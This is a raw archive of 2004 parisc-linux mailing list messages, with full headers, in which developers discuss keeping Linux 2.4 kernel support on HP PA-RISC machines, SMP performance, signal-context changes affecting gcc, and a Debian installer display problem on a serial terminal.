	by free.linux.hp.com (Postfix) with ESMTP id B4C313BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 May 2004 00:02:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i4P62qCp014035; Tue, 25 May 2004 02:02:52 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i4P62q6W014033;
	Tue, 25 May 2004 02:02:52 -0400 (EDT)
In-Reply-To: <20040525040929.GB1308@colo.lackof.org> from "Grant Grundler" at
	May 24, 2004 10:09:29 pm
X-Mailer: ELM [version 2.4 PL25]
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21663

> I trust we don't have to worry about HPUX, HP-RT, or MPE and
> issues with gcc/java? :^)

Well, it shouldn't be too much additional work to support gcc/java
under HPUX.  There have been some experiments with unwinding signal
frames for Ada.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Michael S. Zick" <mszick@goquest.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Tue, 25 May 2004 12:12:03 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <200405251212.03591.mszick@goquest.com>
References: <20040524183227.GW7207@tausq.org>
	<20040525122124.7154e4d2.gmsoft@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623455 9469 80.91.229.3 (22 Nov 2014 02:30:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30510 invoked by uid 65534); 25 May 2004 17:11:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 25 May 2004 19:11:13 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C28013BDED; Tue, 25 May 2004 11:10:49 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.goquest.com (ns1.goquest.com [12.18.108.6])
	by free.linux.hp.com (Postfix) with SMTP id 4E5F63BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 May 2004 11:10:43 -0600 (MDT)
Original-Received: (qmail 9830 invoked by uid 497); 25 May 2004 17:10:35 -0000
Original-Received: from mszick@goquest.com by mail.goquest.com by uid 502 with
	qmail-scanner-1.20st (clamscan: 0.60. spamassassin: 2.55.
	Clear:RC:1(66.90.214.142):SA:0(-2.5/5.0):. 
	Processed in 5.918946 secs); 25 May 2004 17:10:35 -0000
X-Spam-Status: No, hits=-2.5 required=5.0
X-Qmail-Scanner-Mail-From: mszick@goquest.com via mail.goquest.com
X-Qmail-Scanner: 1.20st (Clear:RC:1(66.90.214.142):SA:0(-2.5/5.0):. Processed
	in 5.918946 secs)
Original-Received: from unknown (HELO 66-90-214-142.dyn.grandenetworks.net)
	(66.90.214.142)
	by mail.goquest.com with SMTP; 25 May 2004 17:10:28 -0000
User-Agent: KMail/1.6.2
In-Reply-To: <20040525122124.7154e4d2.gmsoft@gentoo.org>
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21664

On Tue May 25 2004 05:21, Guy Martin wrote:
> On Mon, 24 May 2004 11:32:27 -0700
> > please speak up now!
>
> Personaly, I don't care about 2.4 even if 2.6 doesn't have SMP. With a
> 2.4, my D270 compiles things slower with SMP than without.=20

Hmm... Probably related to the slow fork/exec on hppa and the effect
of SMP load balancing in kernel scheduler -
There has been continuous work to improve fork/exec - I don't know if
the changes have been applied to 2.4.x systems - others on this list
will know.

> I also have=20
> other problems with SMP like packet loss to localhost, making portmap
> and other socket dae=F9on unusable.
2.4?? or 2.6??  (2.6.x has i/o scheduling)

Mike
>
>
> hth
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Tue, 25 May 2004 19:14:45 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <20040525191445.21b4ab3e.gmsoft@gentoo.org>
References: <20040524183227.GW7207@tausq.org>
	<20040525122124.7154e4d2.gmsoft@gentoo.org>
	<200405251212.03591.mszick@goquest.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1955802044=="
X-Trace: ger.gmane.org 1416623455 9470 80.91.229.3 (22 Nov 2014 02:30:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Michael S. Zick" <mszick@goquest.com>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31846 invoked by uid 65534); 25 May 2004 17:21:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 25 May 2004 19:21:05 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1F9E93BDF0; Tue, 25 May 2004 11:20:39 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from stargate.da-kot (user-212-88-246-190.tvcablenet.be
	[212.88.246.190])
	by free.linux.hp.com (Postfix) with ESMTP id 791DA3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 May 2004 11:20:35 -0600 (MDT)
Original-Received: from gmsoft.lln.tuxicoman.be ([2001:6f8:204:aa00:210:a7ff:fe10:1a3e]
	helo=guy.da-kot)
	by stargate.da-kot with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.22)
	id 1BSfbL-0005e9-AW; Tue, 25 May 2004 19:20:31 +0200
In-Reply-To: <200405251212.03591.mszick@goquest.com>
X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21665

--===============1955802044==
Content-Type: multipart/signed; protocol="application/pgp-signature";
	micalg="pgp-sha1"; boundary="=.v,gYZ3Fn,Sdnwx"

--=.v,gYZ3Fn,Sdnwx
Content-Type: text/plain; charset=ISO-8859-15
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 25 May 2004 12:12:03 -0500
"Michael S. Zick" <mszick@goquest.com> wrote:

> On Tue May 25 2004 05:21, Guy Martin wrote:
> > On Mon, 24 May 2004 11:32:27 -0700
> > > please speak up now!
> >
> > Personaly, I don't care about 2.4 even if 2.6 doesn't have SMP. With
> > a 2.4, my D270 compiles things slower with SMP than without.=20
>=20
> Hmm... Probably related to the slow fork/exec on hppa and the effect
> of SMP load balancing in kernel scheduler -
> There has been continuous work to improve fork/exec - I don't know if
> the changes have been applied to 2.4.x systems - others on this list
> will know.

Afaik, it was applied to kernel post 2.6.3.

> > I also have=20
> > other problems with SMP like packet loss to localhost, making
> > portmap and other socket dae=F9on unusable.
> 2.4?? or 2.6??  (2.6.x has i/o scheduling)

This is with a 2.4 SMP kernel on my D270/2. The problem disapear when I
use a non-SMP kernel.

--=20
Guy Martin
Gentoo Linux - HPPA port Lead / IPv6 team
Lug Charleroi (Belgium)

--=.v,gYZ3Fn,Sdnwx
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAs38IrpShrnoH4YYRAgz1AKCnMMutaSdntWqm79gAAU8Hte9yagCcDFUT
OdqJJCaxQRNSpYF9d2xL+gI=
=cVZu
-----END PGP SIGNATURE-----

--=.v,gYZ3Fn,Sdnwx--

--===============1955802044==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1955802044==--



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Tue, 25 May 2004 13:54:38 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <20040525175438.GN8482__43733.7212534205$1416623456$gmane$org@baldric.uwo.ca>
References: <200405242136.i4OLaRtN003029@arbas.nms.ulrich-teichert.org>
	<200405242147.i4OLlVoZ012250@hiauly1.hia.nrc.ca>
	<20040525040929.GB1308@colo.lackof.org>
	<20040525054216.GD7207@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623456 9473 80.91.229.3 (22 Nov 2014 02:30:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 7931 invoked by uid 65534); 25 May 2004 17:54:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 25 May 2004 19:54:53 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9EF903BDF1; Tue, 25 May 2004 11:54:44 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 8CBEA3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 May 2004 11:54:42 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1BSg8M-0003jX-00; Tue, 25 May 2004 13:54:38 -0400
Content-Disposition: inline
In-Reply-To: <20040525054216.GD7207@tausq.org>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (7% Sync Ratio [=.........])
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21666

> As Dave mentioned, there is a case in gcc which is currently broken when
> running 2.4 kernels, because sigcontext handling was broken in 2.4
> kernels for 64-bit kernels. Carlos fixed this in 2.6.x (thanks Carlos).
> 
> The signal trampoline layout also changed in 2.6.x kernels, breaking 
> backward compatibility for userspace applications that need to process 
> the signal context structure. This has come up not only for gcc but for
> some other applications (this topic comes up from time to time on 
> debian-hppa).
> 
> Currently there is code in gcc to handle 32-bit 2.4 kernels, 32-bit 2.6
> kernels and 64-bit 2.6 kernels. However, it appears that with 2.4
> kernels there are still some bugs related to either mmap, signal
> handling or unaligned trap handling that causes the gcc testsuite to
> hang the machine from time to time. If you run a 64-bit 2.4 kernel than
> some of the gcc unwinding stuff will not work at all.

Thanks for all the help! Yeah, the sigcontext fixes wouldn't have been
possible without James Bottomley's cleanups. A backport of all that code
is a lengthy project, with a lot of reboot cycles.

Since sigcontext is an opaque structures, and we don't have
set/get/make/swap context calls we only broke those programs that parsed
sigcontext by themselves. I apologize for that, but it was the only way
to implement restartable system calls without a race condition (or
rather 2 race conditions, we still have a race I think).

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: wrooney@ihug.co.nz
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems with installation Debian Linux...please
Date: Tue, 25 May 2004 21:01:28 +1200
Lines: 61
Approved: news@gmane.org
Message-ID: <40b30b68.155.34fd.1279736525@ihug.co.nz>
Reply-To: wrooney@ihug.co.nz
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623456 9474 80.91.229.3 (22 Nov 2014 02:30:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11593 invoked by uid 65534); 25 May 2004 09:01:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 25 May 2004 11:01:53 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5C0943BDE1; Tue, 25 May 2004 03:01:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from grunt2.ihug.co.nz (grunt2.ihug.co.nz [203.109.254.42])
	by free.linux.hp.com (Postfix) with ESMTP id 6FC4C3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 May 2004 03:01:30 -0600 (MDT)
Original-Received: from tig-nz-akl-ns-42.ihug.net (ihug.co.nz) [203.109.252.42] 
	by grunt2.ihug.co.nz with smtp (Exim 3.35 #1 (Debian))
	id 1BSXoO-0003X2-00; Tue, 25 May 2004 21:01:28 +1200
X-Mailer: Quality Web Email v3.1b, http://netwinsite.com/refw.htm
X-Originating-IP: 203.173.212.165
Priority: normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21667

> It begins the process of load of PALO and I select the
> console type: ttyB0
>
> Continuous the load.....
>
> But to the moment to begin the program linux installer in
> my server, they don't see each other the graphics... if I
> see the messages (as the one I title, the options that it
> is necessary to install linux, the types of partitions,
> etc.) but I don't see the graphics well and it is I
> impossible to select my installation options.
>
> can you help me please?
>
> data of my server:
>
> SYSTEM:        9000
> MODEL:         9000/898/K370
> RISC CHIP:     PA8200
> PA VERSION:    2.0
> SYSTEM GOES:     655623311
> CPU SPEED:     200 MHz
> CPUS:          1 activate processor(s)
> MEMORY:        512 Mbytes of memory.
> HP-UX VERSION: B.10.20
> CONSOLE: serial MONO
> HARD DISK: 9 GB (waiting three disk but it stops inetgrar)
>
> Thank's a lot

When you boot the Debian netinstall ISO it runs an
interactive program that lets you partition your disks, set
up swap, install the boot loader, etc.

The program uses something like ANSI to display different
coloured text and block characters, whereby it sends an
escape character, then three or four control characters then
the character to be printed to the console.

My 9000 doesn't have a graphics card.  It has an HP
monochrome serial terminal.  The HP terminal doesn't support
ANSI, so when I boot the netinstall ISO and it gets to the
installation menu, all I get is a lot of garbage spacing out
the characters that the menu is supposed to be made up of.

My handling was to use a notebook running Hyperterminal
under Windows instead of the dumb terminal while installing
- the colours still didn't come out right and the vertical
spacing went a bit funny when scrolling up and down the
menus, but at least I could read the menus and select items
off them.

Hope this helps.

Wayne
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: Tue, 25 May 2004 12:21:24 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <20040525122124.7154e4d2.gmsoft@gentoo.org>
References: <20040524183227.GW7207@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1354919123=="
X-Trace: ger.gmane.org 1416623456 9476 80.91.229.3 (22 Nov 2014 02:30:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 22942 invoked by uid 65534); 25 May 2004 15:01:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx009) with SMTP; 25 May 2004 17:01:36 +0200
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 307BA3BDEB; Tue, 25 May 2004 09:01:02 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from stargate.da-kot (user-212-88-246-190.tvcablenet.be
	[212.88.246.190])
	by free.linux.hp.com (Postfix) with ESMTP id 5D7FB3BC41
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 25 May 2004 09:00:59 -0600 (MDT)
Original-Received: from gmsoft.lln.tuxicoman.be ([2001:6f8:204:aa00:210:a7ff:fe10:1a3e]
	helo=guy.da-kot)
	by stargate.da-kot with esmtp (TLSv1:DES-CBC3-SHA:168) (Exim 4.22)
	id 1BSZ9G-0001Qj-U4
	for parisc-linux@lists.parisc-linux.org; Tue, 25 May 2004 12:27:06 +0200
In-Reply-To: <20040524183227.GW7207@tausq.org>
X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu)
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21668

--===============1354919123==
Content-Type: multipart/signed; protocol="application/pgp-signature";
	micalg="pgp-sha1"; boundary=")mMqyb=.pN=f?,L?"

--)mMqyb=.pN=f?,L?
Content-Type: text/plain; charset=ISO-8859-15
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Mon, 24 May 2004 11:32:27 -0700
Randolph Chung <tausq@debian.org> wrote:

> I'd like to take an informal "survey" of what kernel versions people
> are using....

I use a 2.6 on a A440 and B180l and a C3600.
I remember having trouble with a J5000 but it was some time ago and I
guess my problem was the SMP enabled.

I'd like to use it on my D270 and on a K360 but there are scsi problems
atm. They both suffer of the same problem described by Joel Soete.

Also, a gentoo user wasn't able to boot a 2.6 on a 735/120. Palo (1.5)
display "If it's the last message ..." and nothing more while it works
well with a 2.4. I'll try myself later on my 735/99 which is down atm.


I'd like to add that despite the scsi problem, I can't still produce
livecd (the gentoo installation cd) using 2.6 because of the numerous
default config. If I remember correctly, if I enable some HIL stuff,
the kernel loops or crash at boot on my b180l.

> If you are one of those people who really care about 2.4 support,
> please speak up now!=20

Personaly, I don't care about 2.4 even if 2.6 doesn't have SMP. With a
2.4, my D270 compiles things slower with SMP than without. I also have
other problems with SMP like packet loss to localhost, making portmap
and other socket dae=F9on unusable.


hth

--=20
Guy Martin
Gentoo Linux - HPPA port Lead / IPv6 team
Lug Charleroi (Belgium)

--)mMqyb=.pN=f?,L?
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAsx4nrpShrnoH4YYRAmfuAJ0fdQvZZnkJU0mTSDQt5MVyuETpAgCfXmhw
274ZPB6L9yLFPPVlQwQ1RG4=
=3I3a
-----END PGP SIGNATURE-----

--)mMqyb=.pN=f?,L?--

--===============1354919123==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1354919123==--



From - Thu Nov 08 21:32:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Support for 2.4.x kernels on hppa
Date: 25 May 2004 10:26:37 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <1085498801.1811.56.camel__11504.200337413$1416623457$gmane$org@mulgrave>
References: <200405242136.i4OLaRtN003029@arbas.nms.ulrich-teichert.org>
	<200405242147.i4OLlVoZ012250@hiauly1.hia.nrc.ca>
	<20040525040929.GB1308@colo.lackof.org>
	<20040525054216.GD7207@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623457 9480 80.91.229.3 (22 Nov 2014 02:30:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:30:57 +0000 (UTC)
Cc: Ulrich Teichert <krypton@ulrich-teichert.org>,
 PARISC list <parisc-linux@lists.parisc-linux.org>,
 debian-hppa@lists.debian.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: - Wed Jul 02 21:27:11 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 4509 invoked by uid 65534); 25 May 2004 15:27:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 25 May 2004 17:27:05 +0200
